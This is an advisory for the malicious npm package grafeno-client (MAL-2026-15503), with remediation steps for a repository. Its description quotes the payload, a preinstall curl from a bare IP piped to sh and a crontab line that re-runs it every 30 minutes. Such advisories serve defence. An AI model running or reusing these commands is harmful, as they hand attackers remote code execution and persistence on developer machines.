MAL-2026-15503 Malicious code in grafeno-client (npm)
Malicious package
Published
MAL-2026-15503 is a malicious package: grafeno-client (npm). Every version was published to cause harm.
Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.
Reference: https://insights.sbomify.com/MAL-2026-15503/ (Markdown: https://insights.sbomify.com/MAL-2026-15503/index.md)
- Package
- grafeno-client
- Registry
- npm
What is MAL-2026-15503?
MAL-2026-15503 is a malicious package in grafeno-client, published on 28 Aug 2026.
Official description
package.json declares a preinstall script that runs curl against a bare IP over plain HTTP (http://216.126.236.46/x.sh) and pipes the response to sh, giving the remote host arbitrary code execution on the installer at npm install time. The same preinstall appends a crontab entry (*/30 * * * * curl -s 216.126.236.46/x.sh|sh) that re-fetches and re-executes the remote script every 30 minutes, establishing persistence that survives removal of the npm package. The shipped index.js is a stub, so the manifest is the entire payload.
What should I do about MAL-2026-15503?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.